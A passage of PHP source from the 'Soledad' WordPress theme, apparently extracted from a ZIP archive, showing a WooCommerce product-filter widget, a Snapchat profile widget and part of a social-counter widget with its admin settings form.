			$current_cat = get_queried_object();

			if ( isset( $categories[0] ) && $categories[0] && ! in_array( $current_cat->term_id, $categories ) && $is_on_shop ) {
				return;
			}

			$is_brand = ( get_theme_mod( 'penci_woo_brands_attribute' ) == $taxonomy );

			$classes      = ' show-labels-' . $labels;
			$classes      .= ' show-count-' . $count;
			$classes      .= ' swatches-' . $size;
			$classes      .= ( $is_brand ) ? ' swatches-brands' : '';
			$multi_select = ( $query_type == 'or' ) ? ' multi_select' : '';

			$taxonomy_filter_name = str_replace( 'pa_', '', $taxonomy );
			$current_value        = isset( $_GET[ 'filter_' . $taxonomy_filter_name ] ) ? sanitize_text_field( $_GET[ 'filter_' . $taxonomy_filter_name ] ) : '';

			if ( $is_on_shop ) {
				//WC 3.6.0
				if ( function_exists( 'WC' ) && version_compare( WC()->version, '3.6.0', '<' ) ) {
					$term_counts = $this->get_filtered_term_product_counts( wp_list_pluck( $terms, 'term_id' ), $taxonomy, $query_type );
				} else {
					$term_counts = $this->get_filtered_term_product_counts_new( wp_list_pluck( $terms, 'term_id' ), $taxonomy, $query_type );
				}
			}

			$_chosen_attributes = WC_Query::get_layered_nav_chosen_attributes();
			$found              = false;

			echo '<div class="penci-pf-checkboxes penci-pf-attributes' . esc_attr( $multi_select ) . '">';
			echo '<input class="result-input" name="filter_' . esc_attr( $taxonomy_filter_name ) . '" type="hidden" value="' . esc_attr( $current_value ) . '">';
			if ( $query_type == 'or' ) {
				echo '<input name="query_type_' . esc_attr( $taxonomy_filter_name ) . '" type="hidden" value="' . esc_attr( $query_type ) . '">';
			}
			echo '<div class="penci-pf-title"><span class="title-text">' . esc_html( $title ) . '</span><ul class="penci-pf-results"></ul></div>';
			echo '<div class="penci-pf-dropdown penci-scroll">';
			echo '<ul class="penci-scroll-content' . esc_attr( $classes ) . '">';
			foreach ( $terms as $term ) {
				$current_values = isset( $_chosen_attributes[ $taxonomy ]['terms'] ) ? $_chosen_attributes[ $taxonomy ]['terms'] : array();
				$option_is_set  = in_array( $term->slug, $current_values );
				$count          = isset( $term_counts[ $term->term_id ] ) ? $term_counts[ $term->term_id ] : 0;

				// Only show options with count > 0
				if ( $is_on_shop ) {
					if ( 0 < $count ) {
						$found = true;
					} elseif ( 0 === $count && ! $option_is_set ) {
						continue;
					}
				}

				// Add swatches block
				$swatch_div   = $swatch_style = '';
				$swatch_color = get_term_meta( $term->term_id, 'color', true );
				$swatch_image = get_term_meta( $term->term_id, 'image', true );
				$swatch_text  = get_term_meta( $term->term_id, 'label', true );

				$class = $option_is_set ? ' pf-active' : '';

				if ( ! empty( $swatch_color ) ) {
					$class        .= ' with-swatch-color';
					$swatch_style = 'background-color: ' . $swatch_color . ';';
				}

				if ( ! empty( $swatch_image ) ) {
					$class        .= ' with-swatch-image';
					$swatch_style = 'background-image: url(' . wp_get_attachment_image_url( $swatch_image, 'full' ) . ');';
				}

				if ( ! empty( $swatch_text ) ) {
					$class .= ' with-swatch-text';
				}

				if ( ! empty( $swatch_style ) ) {
					$swatch_div = '<span style="' . $swatch_style . '" class="' . ( ( $labels == 'off' ) ? 'penci-tooltip' : '' ) . '">' . esc_html( $term->name ) . '</span>';
				}
				// END swatches customization

				echo '<li class="penci-pf-' . esc_attr( $term->slug ) . esc_attr( $class ) . '">';
				echo '<span class="swatch-inner pf-value" data-val="' . esc_attr( wc_attribute_taxonomy_slug( $term->slug ) ) . '" data-title="' . esc_attr( $term->name ) . '">';
				if ( $swatch_div ) {
					echo '<span class="filter-swatch">' . $swatch_div . '</span>';
				}
				echo '<span class="layer-term-name ' . ( ( $instance['tooltips'] == 'on' ) ? 'penci-tooltip' : '' ) . '">' . esc_html( $term->name ) . '</span>';
				echo '</span>';
				echo '</li>';
			}
			echo '</ul>';
			echo '</div>';
			echo '</div>';

			if ( ! $is_on_shop ) {
				$found = true;
			}

			return $found;
		}

		function form( $instance ) {
			parent::form( $instance );
		}

	}

	add_action( 'widgets_init', function () {
		register_widget( 'Penci_Product_Filter' );
	} );

}
PK     N\bMp!  !    inc/widgets/snapchat.phpnu [        <?php

add_action( 'widgets_init', 'penci_snapchat_load_widget' );

function penci_snapchat_load_widget() {
	register_widget( 'penci_snapchat_widget' );
}

if ( ! class_exists( 'penci_snapchat_widget' ) ) {
	class penci_snapchat_widget extends WP_Widget {

		/**
		 * Widget setup.
		 */
		function __construct() {
			/* Widget settings. */
			$widget_ops = array(
				'classname'   => 'penci_snapchat_widget',
				'description' => esc_html__( 'A widget that displays the Snapchat account information.', 'soledad' )
			);

			/* Widget control settings. */
			$control_ops = array( 'width' => 250, 'height' => 350, 'id_base' => 'penci_snapchat_widget' );

			/* Create the widget. */ global $wp_version;
			if ( 4.3 > $wp_version ) {
				$this->WP_Widget( 'penci_snapchat_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Snapchat', 'soledad' ), $widget_ops, $control_ops );
			} else {
				parent::__construct( 'penci_snapchat_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Snapchat', 'soledad' ), $widget_ops, $control_ops );
			}
		}

		/**
		 * How to display the widget on the screen.
		 */
		function widget( $args, $instance ) {
			extract( $args );

			/* Our variables from the widget settings. */
			$title = isset( $instance['title'] ) ? $instance['title'] : '';
			$title = apply_filters( 'widget_title', $title );
			$style = isset( $instance['style'] ) && $instance['style'] ? $instance['style'] : 'rounded';


			/* Before widget (defined by themes). */
			echo ent2ncr( $before_widget );

			/* Display the widget title if one was input (before and after defined by themes). */
			if ( $title ) {
				echo ent2ncr( $before_title ) . $title . ent2ncr( $after_title );
			}

			if ( ! empty( $instance['username'] ) && ! empty( $instance['userid'] ) && ! empty( $instance['avatar'] ) ) {
				$avatar_size  = ! empty( $instance['avatar_size'] ) ? 'background-size:' . $instance['avatar_size'] . 'px;width:' . $instance['avatar_size'] . 'px;height:' . $instance['avatar_size'] . 'px;' : 'background-size:60px;width:60px;height:60px;';
				$class        = ! empty( $instance['style'] ) ? 'is-' . $instance['style'] : 'is-rounded';
				$imgstyle     = ! empty( $instance['bgstyle'] ) ? $instance['bgstyle'] : 'flat';
				$userid       = str_replace( '@', '', $instance['userid'] );
				$bghtmlbg_src = 'data-bgset="' . PENCI_SOLEDAD_URL . '/images/snapchat_' . $imgstyle . '.png"';
				$bghtml_src   = 'data-bgset="' . $instance['avatar'] . '"';

				?>

                <div class="pc-snapchat-wrapper">
                    <a href="https://snapchat.com/add/<?php echo $userid ?>" rel="external noopener nofollow">
						<span class="pc-snapchat-badge <?php echo $class ?>">
                            <span class="pc-snapchat-badge-over penci-image-holder penci-lazy" <?php echo $bghtmlbg_src; ?>></span>
                            <span class="pc-snapchat-avatar penci-image-holder penci-lazy" <?php echo $bghtml_src; ?> style="<?php echo $avatar_size; ?>"></span>
						</span>
                        <span class="pc-snapchat-name"><?php echo $instance['username'] ?></span>
                        <span class="pc-snapchat-id">@<?php echo $userid ?></span>
                    </a>
                </div>
				<?php
			} else {
				echo __( 'Enter the required account info.', 'soledad' );
			}

			/* After widget (defined by themes). */
			echo ent2ncr( $after_widget );
		}

		/**
		 * Update the widget settings.
		 */
		function update( $new_instance, $old_instance ) {
			$instance = $old_instance;

			$data_instance = $this->soledad_widget_defaults();

			foreach ( $data_instance as $data => $value ) {
				$instance[ $data ] = ! empty( $new_instance[ $data ] ) ? $new_instance[ $data ] : '';
			}

			return $instance;
		}

		public function soledad_widget_defaults() {
			return array(
				'title'       => esc_html__( 'Follow Me', 'soledad' ),
				'username'    => '',
				'userid'      => '',
				'avatar'      => '',
				'avatar_size' => '',
				'style'       => '',
				'bgstyle'     => '',
			);
		}


		function form( $instance ) {

			/* Set up some default widget settings. */
			$defaults       = $this->soledad_widget_defaults();
			$instance       = wp_parse_args( (array) $instance, $defaults );
			$instance_title = $instance['title'] ? str_replace( '"', '&quot;', $instance['title'] ) : '';
			?>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php esc_html_e( 'Title', 'soledad' ) ?></label>
                <input id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>"
                       value="<?php echo esc_attr( $instance_title ); ?>" class="widefat" type="text"/>
            </p>
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'username' ) ); ?>"><?php esc_html_e( 'Account Name', 'soledad' ) ?></label>
                <input id="<?php echo esc_attr( $this->get_field_id( 'username' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'username' ) ); ?>"
                       value="<?php echo esc_attr( $instance['username'] ); ?>" class="widefat" type="text"/>
            </p>
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'userid' ) ); ?>"><?php esc_html_e( 'ID', 'soledad' ) ?></label>
                <input id="<?php echo esc_attr( $this->get_field_id( 'userid' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'userid' ) ); ?>"
                       value="<?php echo esc_attr( $instance['userid'] ); ?>" class="widefat" type="text"/>
            </p>
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'avatar' ) ); ?>"><?php esc_html_e( 'Avatar Image URL', 'soledad' ) ?></label>
                <input id="<?php echo esc_attr( $this->get_field_id( 'avatar' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'avatar' ) ); ?>"
                       value="<?php echo esc_attr( $instance['avatar'] ); ?>" class="widefat" type="text"
                       placeholder="https://"/>
                <small>Insert your Avatar Image URL. To get good for load, let use image about 500px width.<br>You can
                    check <a
                            href="https://www.wpbeginner.com/beginners-guide/how-to-get-the-url-of-images-you-upload-in-wordpress/"
                            target="_blank" rel="noreferrer noopener">this guide</a> to know how to get URL of an image
                    you upload.</small>
            </p>
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'avatar_size' ) ); ?>"><?php esc_html_e( 'Avatar size (px)', 'soledad' ) ?></label>
                <input id="<?php echo esc_attr( $this->get_field_id( 'avatar_size' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'avatar_size' ) ); ?>"
                       value="<?php echo esc_attr( $instance['avatar_size'] ); ?>" class="widefat" type="number"
                       placeholder=""/>
            </p>
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'style' ) ); ?>"><?php esc_html_e( 'Style', 'soledad' ) ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'style' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'style' ) ); ?>" class="widefat">
                    <option value="rounded" <?php selected( $instance['style'], 'rounded' ); ?>><?php esc_html_e( 'Rounded', 'soledad' ) ?></option>
                    <option value="circle" <?php selected( $instance['style'], 'circle' ); ?>><?php esc_html_e( 'Circle', 'soledad' ) ?></option>
                </select>
            </p>
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'bgstyle' ) ); ?>"><?php esc_html_e( 'Background Style', 'soledad' ) ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'bgstyle' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'bgstyle' ) ); ?>" class="widefat">
                    <option value="flat" <?php selected( $instance['bgstyle'], 'flat' ); ?>><?php esc_html_e( 'Flat', 'soledad' ) ?></option>
                    <option value="dots" <?php selected( $instance['bgstyle'], 'dots' ); ?>><?php esc_html_e( 'Dots', 'soledad' ) ?></option>
                </select>
            </p>

			<?php
		}
	}
}
?>
PK     N\@_  _    inc/widgets/social_counter.phpnu [        <?php

class Soledad_Social_Counter extends WP_Widget {

	/**
	 * Sets up the widgets name etc
	 */
	public function __construct() {
		$widget_ops = array(
			'classname'   => 'penci_social_counter',
			'description' => 'Show social counter data.',
		);
		parent::__construct( 'penci_social_counter', penci_get_theme_name( '.Soledad', true ) . 'Social Counter', $widget_ops );
		add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_scripts' ) );
		add_action( 'admin_footer-widgets.php', array( $this, 'print_scripts' ), 9999 );
	}

	/**
	 * Outputs the content of the widget
	 *
	 * @param array $args
	 * @param array $instance
	 */
	public function widget( $args, $instance ) {
		$title                  = isset( $instance['title'] ) && $instance['title'] ? $instance['title'] : '';
		$title                  = apply_filters( 'widget_title', $title );
		$social_style           = isset( $instance['style'] ) && $instance['style'] ? $instance['style'] : 's1';
		$column                 = isset( $instance['columns'] ) && $instance['columns'] ? $instance['columns'] : '1';
		$fill                   = ! empty( $instance['fill'] ) ? $instance['fill'] : 'fill';
		$shape                  = ! empty( $instance['shape'] ) ? $instance['shape'] : 'rectangle';
		$tab_column             = ! empty( $instance['tab_column'] ) ? $instance['tab_column'] : '1';
		$mobile_column          = ! empty( $instance['mobile_column'] ) ? $instance['mobile_column'] : '1';
		$color_style            = ! empty( $instance['color_style'] ) ? $instance['color_style'] : 'custom';
		$hide_count             = ! empty( $instance['hide_count'] ) ? $instance['hide_count'] : '';
		$counter_item_icon_size = ! empty( $instance['counter_item_icon_size'] ) ? $instance['counter_item_icon_size'] : '';
		$bgcl                   = ! empty( $instance['bgcl'] ) ? $instance['bgcl'] : '';
		$hbgcl                  = ! empty( $instance['hbgcl'] ) ? $instance['hbgcl'] : '';
		$bordercl               = ! empty( $instance['hbgcl'] ) ? $instance['bordercl'] : '';
		$borderhcl              = ! empty( $instance['borderhcl'] ) ? $instance['borderhcl'] : '';
		$textcl                 = ! empty( $instance['textcl'] ) ? $instance['textcl'] : '';
		$texthcl                = ! empty( $instance['texthcl'] ) ? $instance['texthcl'] : '';
		$countcl                = ! empty( $instance['countcl'] ) ? $instance['countcl'] : '';
		$counthcl               = ! empty( $instance['counthcl'] ) ? $instance['counthcl'] : '';
		$fanscl                 = ! empty( $instance['fanscl'] ) ? $instance['fanscl'] : '';
		$fanshcl                = ! empty( $instance['fanshcl'] ) ? $instance['fanshcl'] : '';
		$followcl               = ! empty( $instance['followcl'] ) ? $instance['followcl'] : '';
		$followhcl              = ! empty( $instance['followhcl'] ) ? $instance['followhcl'] : '';
		$hospace                = ! empty( $instance['hospace'] ) ? $instance['hospace'] : '';
		$verspace               = ! empty( $instance['verspace'] ) ? $instance['verspace'] : '';
		$use_shadow             = ! empty( $instance['use_shadow'] ) ? $instance['use_shadow'] : 'no';
		$countersize            = ! empty( $instance['countersize'] ) ? $instance['countersize'] : '';
		$fansize                = ! empty( $instance['fansize'] ) ? $instance['fansize'] : '';
		$source                 = ! empty( $instance['source'] ) ? $instance['source'] : 'counter';
		$id                     = wp_rand( 0, 9999999 );

		echo '<style>';
		$id_social_counter = '.widget.penci_social_counter #penci-sct-' . $id;
		if ( $counter_item_icon_size ) {
			echo $id_social_counter . ' .pcsoc-icon i{font-size:' . $counter_item_icon_size . 'px}';
			echo $id_social_counter . ' .pcsoc-icon pcsocs-s3 i{line-height:' . $counter_item_icon_size . 'px}';
		}
		if ( $bgcl ) {
			echo $id_social_counter . ' .pcsocs-s1 .pcsoc-item,' . $id_social_counter . ' .pcsocs-s2 .pcsoc-icon,.pcsocs-s3 .pcsoc-item,' . $id_social_counter . ' .pcsocs-s4 .pcsoc-icon{background-color:' . $bgcl . '}';
		}
		if ( $hbgcl ) {
			echo $id_social_counter . ' .pcsocs-s1 .pcsoc-item:hover,' . $id_social_counter . ' .pcsocs-s2 .pcsoc-item:hover .pcsoc-icon,' . $id_social_counter . ' .pcsocs-s3 .pcsoc-item:hover,' . $id_social_counter . ' .pcsocs-s4 .pcsoc-item:hover .pcsoc-icon{background-color:' . $hbgcl . '}';
		}
		if ( $bordercl ) {
			echo $id_social_counter . ' .pcsocs-s1 .pcsoc-item,' . $id_social_counter . ' .pcsocs-s2 .pcsoc-icon,' . $id_social_counter . ' .pcsocs-s3 .pcsoc-item,' . $id_social_counter . ' .pcsocs-s4 .pcsoc-icon{border-color:' . $bordercl . '}';
		}
		if ( $borderhcl ) {
			echo $id_social_counter . ' .pcsocs-s1 .pcsoc-item:hover,' . $id_social_counter . ' .pcsocs-s2 .pcsoc-item:hover .pcsoc-icon,' . $id_social_counter . ' .pcsocs-s3 .pcsoc-item:hover,' . $id_social_counter . ' .pcsocs-s4 .pcsoc-item:hover .pcsoc-icon{border-color:' . $borderhcl . '}';
		}
		if ( $textcl ) {
			echo $id_social_counter . ' .pcsoc-item i{color:' . $textcl . '}';
		}
		if ( $texthcl ) {
			echo $id_social_counter . ' .pcsoc-item:hover i{color:' . $texthcl . '}';
		}
		if ( $countcl ) {
			echo $id_social_counter . ' .pcsoc-counter{color:' . $countcl . '}';
		}
		if ( $counthcl ) {
			echo $id_social_counter . ' .pcsoc-item:hover .pcsoc-counter{color:' . $counthcl . '}';
		}
		if ( $fanscl ) {
			echo $id_social_counter . ' .pcsoc-item .pcsoc-fan{color:' . $fanscl . '}';
		}
		if ( $fanshcl ) {
			echo $id_social_counter . ' .pcsoc-item:hover .pcsoc-fan{color:' . $fanshcl . '}';
		}
		if ( $followcl ) {
			echo $id_social_counter . ' .pcsoc-item .pcsoc-like{color:' . $followcl . '}';
		}
		if ( $followhcl ) {
			echo $id_social_counter . ' .pcsoc-item:hover .pcsoc-like{color:' . $followhcl . '}';
		}
		if ( $hospace ) {
			echo $id_social_counter . ' .pcsoc-wrapper{--pcsoc-space:' . $hospace . 'px}';
		}
		if ( $verspace ) {
			echo $id_social_counter . ' .pcsoc-wrapper{--pcsoc-bspace:' . $verspace . 'px}';
		}
		if ( $countersize ) {
			echo $id_social_counter . ' .pcsoc-counter{font-size:' . $countersize . 'px}';
		}
		if ( $fansize ) {
			echo $id_social_counter . ' .pcsoc-item .pcsoc-fan,' . $id_social_counter . ' .pcsoc-item .pcsoc-like{font-size:' . $fansize . 'px}';
		}
		echo '</style>';

		$wrapper_class = 'pcsoc-wrapper';
		$social_style  = isset( $social_style ) && $social_style && in_array(
			$social_style,
			array(
				's1',
				's2',
				's3',
				's4',
			)
		) ? $social_style : 's1';
		$fill          = $fill ? $fill : 'border';
		$shape         = $shape ? $shape : 'rectangle';
		$color_style   = $color_style ? $color_style : 'custom';
		$brand_class   = $brand_class_icon = '';
		if ( in_array( $social_style, array( 's2', 's4' ) ) ) {
			$brand_class_icon = ' pcsc-brandflag';
		} elseif ( in_array( $social_style, array( 's1', 's3' ) ) ) {
			$brand_class = ' pcsc-brandflag';
		}

		$wrapper_class .= ' pcsocs-' . $social_style;
		$wrapper_class .= ' pcsocf-' . $fill;
		$wrapper_class .= ' pcsocs-' . $shape;
		$wrapper_class .= ' pcsoccl-' . $color_style;

		if ( 'yes' == $use_shadow ) {
			$wrapper_class .= ' pcsocshadow';
		}

		if ( 's4' != $social_style ) {
			$column_default        = $social_style == 's3' ? '3' : '1';
			$column                = $column ? $column : $column_default;
			$tab_column_default    = $social_style == 's3' ? 'default' : '1';
			$mobile_column_default = $social_style == 's3' ? '2' : '1';
			$tab_column            = $tab_column ? $tab_column : $tab_column_default;
			$mobile_column         = $mobile_column ? $mobile_column : $mobile_column_default;
			$wrapper_class        .= ' pcsocc-' . $column;
			$wrapper_class        .= ' pcsocc-tabcol-' . $tab_column;
			$wrapper_class        .= ' pcsocc-mocol-' . $mobile_column;
		}

		echo $args['before_widget'];
		if ( $title ) {
			echo $args['before_title'] . $title . $args['after_title'];
		}

		?>
		<div class="pcsoc-wrapper-outside source-<?php echo esc_attr( $source ); ?>"
			id="<?php echo 'penci-sct-' . $id; ?>">
			<div class="<?php echo $wrapper_class; ?>">
				<?php

				if ( 'counter' == $source ) {
					$socials = array(
						'facebook',
						'twitter',
						'youtube',
						'instagram',
						'pinterest',
						'flickr',
						'vimeo',
						'soundcloud',
						'behance ',
						'vk',
						'tiktok',
						'twitch',
						'rss',
					);
					foreach ( $socials as $social ) {

						if ( empty( $instance[ $social ] ) ) {
							continue;
						}

						$social_info = \PENCI_FW_Social_Counter::get_social_counter( $social );

						$social_info_name = isset( $social_info['name'] ) && $social_info['name'] ? $social_info['name'] : '';

						if ( ! $social_info || ! $social_info_name ) {
							continue;
						}

						if ( strpos( $social_info['count'], '.' ) !== false ) {
							$count = $social_info['count'];
						} else {
							$count = \PENCI_FW_Social_Counter::format_followers( $social_info['count'] );
						}

						$count = $count ? $count : '';

						$social_icon     = $social_info['icon'];
						$social_follower = isset( $social_info['text_below'] ) && $social_info['text_below'] ? $social_info['text_below'] : '';
						$social_follow   = isset( $social_info['text_btn'] ) && $social_info['text_btn'] ? $social_info['text_btn'] : '';
						$social_url      = isset( $social_info['url'] ) && $social_info['url'] ? $social_info['url'] : '';
						?>
						<div class="pcsoc-item-wrap">
							<a class="pcsoc-item pcsoci-<?php echo $social . $brand_class; ?>
																	<?php
																	if ( ! $count ) {
																		echo ' empty-count';
																	}
																	?>
							" href="<?php echo esc_url( $social_url ); ?>"
								target="_blank" <?php echo penci_reltag_social_icons(); ?>>
								<span class="pcsoc-icon pcsoci-<?php echo $social . $brand_class_icon; ?>"><?php echo $social_icon; ?></span>
								<?php if ( $count && 'yes' != $hide_count ) { ?>
									<span class="pcsoc-counter"><?php echo $count; ?></span>
									<span class="pcsoc-fan"><?php echo $social_follower; ?></span>
								<?php } else { ?>
									<span class="pcsoc-counter pcsoc-socname"><?php echo $social; ?></span>
								<?php } ?>
								<?php if ( in_array( $social_style, array( 's1', 's2' ) ) ) { ?>
									<span class="pcsoc-like"><?php echo $social_follow; ?></span>
								<?php } ?>
							</a>
						</div>
						<?php
					}
				} else {
					$socials = penci_social_media_array();
					foreach ( $socials as $social => $sdata ) {

						if ( empty( $instance[ 'profile_' . $social ] ) ) {
							continue;
						}

						$social_icon   = penci_icon_by_ver( $sdata[1] );
						$social_follow = penci_get_setting( 'follow' );
						$social_url    = esc_url( do_shortcode( $sdata[0] ) );

						$custom_social_icons = get_option( 'penci_custom_socials', array() );
						$name                = isset( $custom_social_icons[ $social ]['name'] ) ? $custom_social_icons[ $social ]['name'] : $social;
						?>
						<div class="pcsoc-item-wrap">
							<a class="pcsoc-item pcsoci-<?php echo $social . $brand_class; ?> empty-count"
								href="<?php echo esc_url( $social_url ); ?>"
								target="_blank" <?php echo penci_reltag_social_icons(); ?>>
								<span class="pcsoc-icon pcsoci-<?php echo $social . $brand_class_icon; ?>"><?php echo $social_icon; ?></span>
								<span class="pcsoc-counter pcsoc-socname"><?php echo $name; ?></span>
								<?php if ( in_array( $social_style, array( 's1', 's2' ) ) ) { ?>
									<span class="pcsoc-like"><?php echo $social_follow; ?></span>
								<?php } ?>
							</a>
						</div>
						<?php
					}
				}
				?>
			</div>
		</div>
		<?php
		echo $args['after_widget'];
	}

	/**
	 * Outputs the options form on admin
	 *
	 * @param array $instance The widget options
	 */
	public function form( $instance ) {
		$title                  = ! empty( $instance['title'] ) ? $instance['title'] : esc_html__( 'Social Counter', 'soledad' );
		$social_lists           = $this->social_lists();
		$style                  = ! empty( $instance['style'] ) ? $instance['style'] : 's1';
		$fill                   = ! empty( $instance['fill'] ) ? $instance['fill'] : 'fill';
		$shape                  = ! empty( $instance['shape'] ) ? $instance['shape'] : 'rectangle';
		$columns                = ! empty( $instance['columns'] ) ? $instance['columns'] : '1';
		$tab_column             = ! empty( $instance['tab_column'] ) ? $instance['tab_column'] : '';
		$mobile_column          = ! empty( $instance['mobile_column'] ) ? $instance['mobile_column'] : '';
		$color_style            = ! empty( $instance['color_style'] ) ? $instance['color_style'] : 'custom';
		$hospace                = ! empty( $instance['hospace'] ) ? $instance['hospace'] : '';
		$verspace               = ! empty( $instance['verspace'] ) ? $instance['verspace'] : '';
		$counter_item_icon_size = ! empty( $instance['counter_item_icon_size'] ) ? $instance['counter_item_icon_size'] : '';
		$bgcl                   = ! empty( $instance['bgcl'] ) ? $instance['bgcl'] : '';
		$hbgcl                  = ! empty( $instance['hbgcl'] ) ? $instance['hbgcl'] : '';
		$bordercl               = ! empty( $instance['hbgcl'] ) ? $instance['bordercl'] : '';
		$borderhcl              = ! empty( $instance['borderhcl'] ) ? $instance['borderhcl'] : '';
		$textcl                 = ! empty( $instance['textcl'] ) ? $instance['textcl'] : '';
		$texthcl                = ! empty( $instance['texthcl'] ) ? $instance['texthcl'] : '';
		$countcl                = ! empty( $instance['countcl'] ) ? $instance['countcl'] : '';
		$counthcl               = ! empty( $instance['counthcl'] ) ? $instance['counthcl'] : '';
		$fanscl                 = ! empty( $instance['fanscl'] ) ? $instance['fanscl'] : '';
		$fanshcl                = ! empty( $instance['fanshcl'] ) ? $instance['fanshcl'] : '';
		$followcl               = ! empty( $instance['followcl'] ) ? $instance['followcl'] : '';
		$followhcl              = ! empty( $instance['followhcl'] ) ? $instance['followhcl'] : '';
		$use_shadow             = ! empty( $instance['use_shadow'] ) ? $instance['use_shadow'] : '';
		$hide_count             = ! empty( $instance['hide_count'] ) ? $instance['hide_count'] : '';
		$countersize            = ! empty( $instance['countersize'] ) ? $instance['countersize'] : '';
		$fansize                = ! empty( $instance['fansize'] ) ? $instance['fansize'] : '';
		$source                 = ! empty( $instance['source'] ) ? $instance['source'] : 'counter';
		?>

		<div class="penci-social-widget-tabs">
			<div class="tabs-stage">
				<div id="pc_general_social" class="penci-social-tab tab-active">
					<p class="widget-title-settings">
						<label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php esc_attr_e( 'Title:', 'soledad' ); ?></label>
						<input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"
								name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>" type="text"
								value="<?php echo esc_attr( $title ); ?>">
					</p>

					<p class="widget-title-settings">
						<label for="<?php echo esc_attr( $this->get_field_id( 'source' ) ); ?>">Select Data
							Source:</label>
						<select class="widefat source-select"
								id="<?php echo esc_attr( $this->get_field_id( 'source' ) ); ?>"
								name="<?php echo esc_attr( $this->get_field_name( 'source' ) ); ?>">
							<option value="counter" <?php selected( $source, 'counter' ); ?>><?php echo esc_html__( 'Social Counter', 'soledad' ); ?></option>
							<option value="customizer" <?php selected( $source, 'customizer' ); ?>><?php echo esc_html__( 'Social Media URLs from Customizer ( no Counter )', 'soledad' ); ?></option>
						</select>
					</p>

					<p class="widget-title-settings notes counter"><strong>Note Important</strong>: You need to setup
						data for socials sharing
						on <a
								href="<?php echo esc_url( admin_url( 'admin.php?page=penci_social_counter_settings' ) ); ?>"
								target="_blank">this page</a> to get the counter number work.</p>

					<p style="display: none;" class="widget-title-settings notes customizer"><strong>Note
							Important</strong>: You need to setup
						data for socials profile on Appearance > Customize > Social Media.</p>

					<p class="widget-title-settings">
						<label for="<?php echo esc_attr( $this->get_field_id( 'style' ) ); ?>">Select Pre-Build
							Design:</label>
						<select class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'style' ) ); ?>"
								name="<?php echo esc_attr( $this->get_field_name( 'style' ) ); ?>">
							<option value="s1" <?php selected( $style, 's1' ); ?>><?php echo esc_html__( 'Style 1', 'soledad' ); ?></option>
							<option value="s2" <?php selected( $style, 's2' ); ?>><?php echo esc_html__( 'Style 2', 'soledad' ); ?></option>
							<option value="s3" <?php selected( $style, 's3' ); ?>><?php echo esc_html__( 'Style 3', 'soledad' ); ?></option>
							<option value="s4" <?php selected( $style, 's4' ); ?>><?php echo esc_html__( 'Style 4', 'soledad' ); ?></option>
						</select>
					</p>
					<p>
						<label for="<?php echo esc_attr( $this->get_field_id( 'fill' ) ); ?>">Filled or Bordered
							Style?</label>
						<select class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'fill' ) ); ?>"
								name="<?php echo esc_attr( $this->get_field_name( 'fill' ) ); ?>">
							<option value="fill" <?php selected( $fill, 'fill' ); ?>><?php echo esc_html__( 'Filled', 'soledad' ); ?></option>
							<option value="border" <?php selected( $fill, 'border' ); ?>><?php echo esc_html__( 'Bordered', 'soledad' ); ?></option>
						</select>
					</p>
					<p>
						<label for="<?php echo esc_attr( $this->get_field_id( 'shape' ) ); ?>">Shape</label>
						<select class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'shape' ) ); ?>"
								name="<?php echo esc_attr( $this->get_field_name( 'shape' ) ); ?>">
							<option value="rectangle" <?php selected( $shape, 'rectangle' ); ?>><?php echo esc_html__( 'Rectangle', 'soledad' ); ?></option>
							<option value="round" <?php selected( $shape, 'round' ); ?>><?php echo esc_html__( 'Round', 'soledad' ); ?></option>
							<option value="circle" <?php selected( $shape, 'circle' ); ?>><?php echo esc_html__( 'Circle', 'soledad' ); ?></option>
						</select>
					</p>
					<p>
						<label for="<?php echo esc_attr( $this->get_field_id( 'color_style' ) ); ?>">Colors
							Style</label>
						<select class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'color_style' ) ); ?>"
								name="<?php echo esc_attr( $this->get_field_name( 'color_style' ) ); ?>">
							<option value="custom" <?php selected( $color_style, 'custom' ); ?>><?php echo esc_html__( 'Custom Color', 'soledad' ); ?></option>
							<option value="brandbg" <?php selected( $color_style, 'brandbg' ); ?>><?php echo esc_html__( 'Brand Background', 'soledad' ); ?></option>
							<option value="brandtext" <?php selected( $color_style, 'brandtext' ); ?>><?php echo esc_html__( 'Brand Text', 'soledad' ); ?></option>
						</select>
					</p>
					<p>
						<label for="<?php echo esc_attr( $this->get_field_id( 'columns' ) ); ?>">Select Columns:</label>
						<select class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'columns' ) ); ?>"
								name="<?php echo esc_attr( $this->get_field_name( 'columns' ) ); ?>">
							<option value="1" <?php selected( $columns, '1' ); ?>><?php echo esc_html__( '1 Column', 'soledad' ); ?></option>
							<option value="2" <?php selected( $columns, '2' ); ?>><?php echo esc_html__( '2 Columns', 'soledad' ); ?></option>
							<option value="3" <?php selected( $columns, '3' ); ?>><?php echo esc_html__( '3 Columns', 'soledad' ); ?></option>
							<option value="4" <?php selected( $columns, '4' ); ?>><?php echo esc_html__( '4 Columns', 'soledad' ); ?></option>
						</select>
					</p>
					<p>
